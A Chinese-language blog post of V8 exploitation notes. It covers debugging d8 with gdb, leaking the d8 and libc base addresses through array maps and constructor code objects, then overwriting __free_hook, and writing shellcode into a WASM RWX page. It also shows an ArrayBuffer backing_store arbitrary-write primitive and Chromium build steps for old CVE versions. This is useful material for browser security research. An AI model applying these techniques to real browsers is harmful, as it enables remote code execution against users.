盒子
盒子
文章目录
  1. 前言:
  2. 正文:
    1. Debug:
    2. v8 leak and getshell:
      1. 看脸leak:
      2. 稳定leak:
      3. WASM劫持:
    3. write原语:
    4. 杂:
      1. Chromium环境搭建:
    5. Reference:

v8-trick

前言:

v8里面的一些trick,整理一下。

正文:

  1. 建议写exp在release版本上写,debug版本上会出现许多check错误,导致会出现许多莫名其妙的错误,比如修改了一个map值就会报错。

  2. 当JIT的时候,创建一个空数组的时候,如果在JIT传入参数是一个定值,那么就会产生LoadElements结点,此时产生的checkbounds边界根据输入来参考。如果传入参数索引处为undefined,那么产生的结点便是LoadProperty,此时不会产生checkbounds

  3. 想要漏洞利用的时候,尽量最好用一个去改另一个再用另一个继续去接下来的利用。比如一个在JIT中的OOB,如果直接用函数里的array,并且只用这一个漏洞array改写自己的length去接下来的利用,那么情况会很复杂..比如会有空间不稳定性,后面所声明的array或者buff与这个漏洞array之间的空间距离是很不稳定的,乱跳的。而且gc的情况也会很复杂。所以最好用一个去写另一个,再用另一个去构造exp。

  4. 当不是两个连续var的时候,两个array的相对距离一般是不稳定的,也就是不会是固定偏移,最好是连续var才会有固定偏移。

  5. 千万不要用固定偏移去写exp,即使用搜索内存的方法去用也不要去算固定偏移,因为很可能gdb中是固定的(固定也不是100%概率),但到了真实环境中,很可能根本就不会是这个值,所以就会产生gdb中利用好了,本机确没办法用的情况。。

Debug:

一般用到两个:

1
2
3
4
5
6
%DebugPrint()   //用来打印v8对象
%SystemBreak(); //调试的时候下断点

但是需要使用参数:

--allow-natives-syntax

普通调试的时候可以直接gdbd8上,再结合cctrl c配合使用调试。

还有一些:

DebugBreak():

1
当分析v8源码时,遇到CodeStubAssembler编写的代码,可以在其中插入DebugBreak();这相当于插入了一个断点(类似int 3),重新编译后使用调试器调试时,可以在插入处断下。

Print():

1
2
3
4
5
6
7
8
9
遇到CodeStubAssembler编写的代码时,可以使用它来输出一些变量值,函数原型是:

void CodeStubAssembler::Print(const char* prefix, Node* tagged_value)

用法:

//第二个参数是Node*型,可能需要强转
Print("array", static_cast<Node*>(array.value()));
重新编译后即可。

readline():

1
可以添加在js代码中,让程序停下来等待输入,方便使用gdb断下进行调试。该方法比写一个while死循环好在,让程序停下后,还可以让程序继续运行下去。

V8-gdb:

v8里面也自带了gdb的一些调试命令,在tools目录下有两个脚本:

1
2
gdb-v8-support.py
gdbinit

sourcegdb中即可。

常用的有:

1
2
job     //完整打印v8对象的结构体
v8print //跟上面的类似

v8 leak and getshell:

泄漏先提三种方法,前两种是靠泄漏libc来做,但是最后最后一种就没有libc的要求了。

看脸leak:

这种不稳定性还是比较大的,先随便new一个:

1
2
var test = [1,2,3,4.4];
%DebugPrint(test);

看内存位置:

1
2
3
pwndbg> x/10xg 0x15608e98dde1-1
0x15608e98dde0: 0x00001482abd02ed9 0x0000046490880c71
0x15608e98ddf0: 0x000015608e98ddb1 0x0000000400000000

在他上方的很远的位置上:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> telescope 0x15608e98dde1-1-6000 100
00:0000│ 0x15608e98c670 ◂— 0x0
... ↓
04:0020│ 0x15608e98c690 —▸ 0x46490880941 ◂— 0x464908801
05:0028│ 0x15608e98c698 ◂— 0x400000003
06:0030│ 0x15608e98c6a0 ◂— 0x20746567 /* 'get ' */
07:0038│ 0x15608e98c6a8 —▸ 0x46490880941 ◂— 0x464908801
08:0040│ 0x15608e98c6b0 ◂— 0x4000000003
09:0048│ 0x15608e98c6b8 ◂— 0x0
... ↓
11:0088│ 0x15608e98c6f8 —▸ 0x46490880941 ◂— 0x464908801
12:0090│ 0x15608e98c700 ◂— 0x900000003
13:0098│ 0x15608e98c708 ◂— 'get value'
14:00a0│ 0x15608e98c710 ◂— 0x65 /* 'e' */
15:00a8│ 0x15608e98c718 —▸ 0x46490880b71 ◂— 0x200000464908801
16:00b0│ 0x15608e98c720 —▸ 0x555555eef7b0 ◂— lea rsi, [rip - 0x8cc7e2]
17:00b8│ 0x15608e98c728 —▸ 0x46490880b71 ◂— 0x200000464908801
18:00c0│ 0x15608e98c730 —▸ 0x555555eef7b0 ◂— lea rsi, [rip - 0x8cc7e2]
19:00c8│ 0x15608e98c738 —▸ 0x1482abd0a819 ◂— 0x700000464908801
1a:00d0│ 0x15608e98c740 —▸ 0x46490882781 ◂— 0x464908819
1b:00d8│ 0x15608e98c748 —▸ 0x46490880c71 ◂— 0x464908808
1c:00e0│ 0x15608e98c750 —▸ 0x2f3906e5f009 ◂— 0x7100001482abd043
1d:00e8│ 0x15608e98c758 —▸ 0x464908804d1 ◂— 0x464908805
1
2
pwndbg> x/2xg 0x555555eef7b0
0x555555eef7b0: 0xe9ff73381e358d48 0xcccccccc00001a74

可以看到0x15608e98c7200x15608e98c730处的地址就是d8中的指令地址:

1
2
3
pwndbg> vmmap 0x555555eef7b0
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x5555557e7000 0x5555562af000 r-xp ac8000 293000 /home/parallels/v8/out.gn/x64.release/d8

所以我们就可以根据数组对象的地址往上遍历寻找,尽管开了aslr,但是后三个bit是不会变的,所以我们只要寻找地址内容的后三个bit7b0,且里面的机器码是e9ff73381e358d48即可leakd8的程序基址。

leak出程序基地址后只需要找到got表,读取got表中的函数真实地址即可leak libc基址。之后就是常规的改__free_hookone_gadget或者system了。

如果改为system那么只需要再申请一块ArrayBuffer并且写入/bin/sh即可,等待GC的回收调用free

但是这个看脸leak有一个缺点就是上面所得到的0x555555eef7b0程序地址会改变,一定的时间后会变成另外的内容。而且不同环境下也会不同,所以非常的不稳定。

稳定leak:

接下来的这一种就是很稳定的leak方式,但是总的流程跟上面还是一致的。

查询流程为:

1
JSArray --> <map> --> <map>.constructor --> code

JSArray:

1
2
3
pwndbg> x/10xg 0x094573e4dde1-1
0x94573e4dde0: 0x0000282b4ab02ed9 0x00001ee9b1f40c71
0x94573e4ddf0: 0x0000094573e4ddb1 0x0000000400000000

map —> *(JSArray+0x0):

1
2
3
4
pwndbg> x/10xg 0x0000282b4ab02ed9-1
0x282b4ab02ed8: 0x00001ee9b1f40189 0x210004251d040404
0x282b4ab02ee8: 0x00000000090007ff 0x000023fd50711111
0x282b4ab02ef8: 0x0000282b4ab02e89 0x000023fd50711eb9

map constructor:

这里就不用去找了,直接test.constructor即可得到:

1
2
3
4
5
6
7
8
%DebugPrint(test.constructor);

pwndbg> r
Starting program: /home/parallels/v8/out.gn/x64.release/d8 --allow-natives-syntax ~/ttt.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff66de700 (LWP 25870)]
0x0b1e87a10ec1 <JSFunction Array (sfi = 0x3e29a86c6791)>
1
2
3
4
5
6
pwndbg> x/10xg 0x0b1e87a10ec1-1
0xb1e87a10ec0: 0x0000084e16182d49 0x00000b1e87a11029
0xb1e87a10ed0: 0x000037af88240c71 0x00003e29a86c6791
0xb1e87a10ee0: 0x00000b1e87a01869 --> code 0x00003e29a86c0699
0xb1e87a10ef0: 0x00002fae4c986981 0x0000084e16182d99
0xb1e87a10f00: 0x000037af88240271 0x0000000000080008

code —> *(constructor+0x30):

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> telescope 0x00002fae4c986981-1 0x20
00:0000│ 0x2fae4c986980 —▸ 0x37af88240a31 ◂— 0x37af882401
01:0008│ 0x2fae4c986988 —▸ 0x37af88242c01 ◂— 0x37af882407
02:0010│ 0x2fae4c986990 —▸ 0x37af88240c71 ◂— 0x37af882408
03:0018│ 0x2fae4c986998 —▸ 0x37af88242791 ◂— 0x37af882407
04:0020│ 0x2fae4c9869a0 —▸ 0x3e29a86d16a9 ◂— 0xd1000037af882414
05:0028│ 0x2fae4c9869a8 ◂— or eax, 0xc6000000 /* '\r' */
06:0030│ 0x2fae4c9869b0 ◂— sbb al, 0
07:0038│ 0x2fae4c9869b8 ◂— and al, 0 /* '$' */
08:0040│ 0x2fae4c9869c0 ◂— movabs r10, 0x5555560294e0 --> 这里
09:0048│ 0x2fae4c9869c8 ◂— add byte ptr [rax], al
0a:0050│ 0x2fae4c9869d0 ◂— add byte ptr [rax], al
... ↓

如上图在0x40处就是d8的指令地址:

1
2
3
pwndbg> vmmap 0x5555560294e0
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x5555557e7000 0x5555562af000 r-xp ac8000 293000 /home/parallels/v8/out.gn/x64.release/d8

所以很容易的,后面的流程跟上面的看脸leak也一样了。

该指令其实是用于内置数组构造所使用的,所以只要是数组就会有,能够不受影响的稳定泄漏。v8在生成一个数组对象过程中,会对应着生成一个code对象,这个code对象中存储了和该数组对象相关的构造函数指令,而这些构造函数指令又会去调用d8二进制中的指令地址来完成对数组对象的构造。

WASM劫持:

wasm就是可以让JavaScript直接执行高级语言生成的机器码的一种技术。

1
WasmFiddle:  https://wasdk.github.io/WasmFiddle/

直接将上面的代码上手测试:

1
2
3
4
5
6
7
8
9
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

%DebugPrint(f);
%SystemBreak();
//f();

这里wasmInstance.exports.main得到的其实是该函数的地址,该地址赋值给了ff()则是执行了该函数。

1
2
3
pwndbg> r
[New Thread 0x7ffff66de700 (LWP 29268)]
0x04d6c3fdfab1 <JSFunction 0 (sfi = 0x4d6c3fdfa79)>

这里的思路就是将wasmCode中的可执行区域替换成构造的shellcode即可劫持程序流。查询流程:

1
Function –> shared_info –> WasmExportedFunctionData –> instance

Function:

1
2
3
pwndbg> x/10xg 0x04d6c3fdfab1-1
0x4d6c3fdfab0: 0x000038bf73444379 0x000030b7083c0c71
0x4d6c3fdfac0: 0x000030b7083c0c71 0x000004d6c3fdfa79 --> shared_info

shared_info —> *(Function+0x18):

1
2
3
pwndbg> x/10xg 0x000004d6c3fdfa79-1
0x4d6c3fdfa78: 0x000030b7083c09e1 0x000004d6c3fdfa51 --> WasmExportedFunctionData
0x4d6c3fdfa88: 0x000030b7083c4ae1 0x000030b7083c2a39

WasmExportedFunctionData —> *(shared_info+0x8):

1
2
3
pwndbg> x/10xg 0x000004d6c3fdfa51-1
0x4d6c3fdfa50: 0x000030b7083c5879 0x00001dcfe2ec2001
0x4d6c3fdfa60: 0x000004d6c3fdf8b9 --> instance 0x0000000000000000

instance —> *(WasmExportedFunctionData+0x10):

且地址在instance+0x88处:

1
2
3
4
5
6
7
8
pwndbg> telescope 0x000004d6c3fdf8b9-1+0x88
00:0000│ 0x4d6c3fdf940 —▸ 0x10693176a000 ◂— movabs r10, 0x10693176a260 /* 0x10693176a260ba49 */
01:0008│ 0x4d6c3fdf948 —▸ 0x2bb358ce459 ◂— 0x71000038bf734491
02:0010│ 0x4d6c3fdf950 —▸ 0x2bb358ce6c9 ◂— 0x71000038bf7344ad
03:0018│ 0x4d6c3fdf958 —▸ 0x4d6c3fc1869 ◂— 0x30b7083c0f
04:0020│ 0x4d6c3fdf960 —▸ 0x4d6c3fdf9e1 ◂— 0x71000038bf7344a1
05:0028│ 0x4d6c3fdf968 —▸ 0x30b7083c04d1 ◂— 0x30b7083c05
... ↓

0x10693176a000就在一个可读可写的区域,所以可以得到该地址并往上面写入shellcode

1
2
3
pwndbg> vmmap 0x10693176a000
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x10693176a000 0x10693176b000 rwxp 1000 0

最终写完shellcode后只需要执行:

f();

即可调用wasm的函数接口,触发shellcode

原理、注意点:

wasm内存页存储的是wasm函数最后能够调用的汇编代码,shellcode覆盖到这里,后续会执行到,起初认为是shellcode覆盖的是wasm字节码;实际上wasm字节码只是一段AST字节码,会由v8解析执行而已;wasm函数对象中关于内存页的偏移不一定是+0×88,有可能要根据具体编译的v8程序进行调整。

write原语:

这里说一下任意写的原语。

有了任意写的原语之后会遇到写入crash的问题,那是因为写入的值以7f开头的缘故,float7f开头会有一定处理的缘故,所以需要改写一下write原语。

这里改写只需要改写ArrayBufferbacking_store字段就行,因为往ArrayBuffer中写的时候是存储在backing_store字段的,所以只要把backing_store指向的地址改成我们所需要改写地方的地址即可。

1
2
3
4
var buff = new ArrayBuffer(0x10);
var dataview = new DataView(buff);
dataview.setBigUint64(0,0x12345678n,true);
%DebugPrint(buff);
1
2
3
4
5
6
7
8
9
10
pwndbg> x/10xg 0x0ea2f8d8dde1-1
0xea2f8d8dde0: 0x00002d65fa4021b9 0x00001db891180c71
0xea2f8d8ddf0: 0x00001db891180c71 0x0000000000000010
0xea2f8d8de00: 0x000055555639fe10 --> backing_store 0x0000000000000002
0xea2f8d8de10: 0x0000000000000000 0x0000000000000000
0xea2f8d8de20: 0x00002d65fa401719 0x00001db891180c71
pwndbg> telescope 0x000055555639fe10
00:0000│ 0x55555639fe10 ◂— 0x12345678
01:0008│ 0x55555639fe18 ◂— 0x0
... ↓

可以看见0x55555639fe10里存储的就是我们所输入的0x12345678

所以很简单的,先用任意写原语将backing_store字段改为我们所需要修改点的地址,再往dataview中写入数据即可。

杂:

0x12345678n后的n代表大整数,即Bigint

DataView.setFloat64(0,0x100,true)0代表起始字节,true代表小端序,默认false大端序。

Chromium环境搭建:

首先装好depot_tools
然后就可以跟着官方文档走一波了。当然常规的,代理要好。

  1. mkdir ~/chromium && cd ~/chromium

  2. fetch --nohooks chromium //这里千万不要加 –no-history

    //因为这是把commit提交记录全部都删掉了,后面用不了checkout回退版本
    
  3. cd src

  4. ./build/install-build-deps.sh //一般就会加上 –no-chromeos-fonts ,因为这玩意儿老下载不下来。。

    //这里主要是下载后面ninja编译需要用到的一些工具,避免后面编译报错
    
  5. gclient runhooks //下载额外的二进制文件和一些后面编译需要用到的东西,跟上者差不多。

  6. gn gen out/Default //创建编译链接,跟v8编译的时候差不多。

  7. autoninja -C out/Default chrome //等ninja编译,大概要一个下午的时间(可能还不够。

  8. out/Default/chrome //可以愉快的开始玩弄chromium了。

后面是需要checkout的过程:

如果需要用到旧的hash版本来调一些cve的话,那就是在上面的3和4步之间插入以下语句即可。

  1. git checkout 2bd7464ec1efc9eb24a38f7400119a5f2257f6e6 //hash

  2. gclient sync //下载原hash文件

开始fetch chromium的时候如果中断了也可以使用来从之前恢复中断:

gclient sync

Reference:

  1. https://www.freebuf.com/vuls/203721.html
  2. https://xz.aliyun.com/t/5190#toc-12
  3. https://changochen.github.io/2019-04-29-starctf-2019.html
支持一下
扫一扫,支持v1nke
  • 微信扫一扫
  • 支付宝扫一扫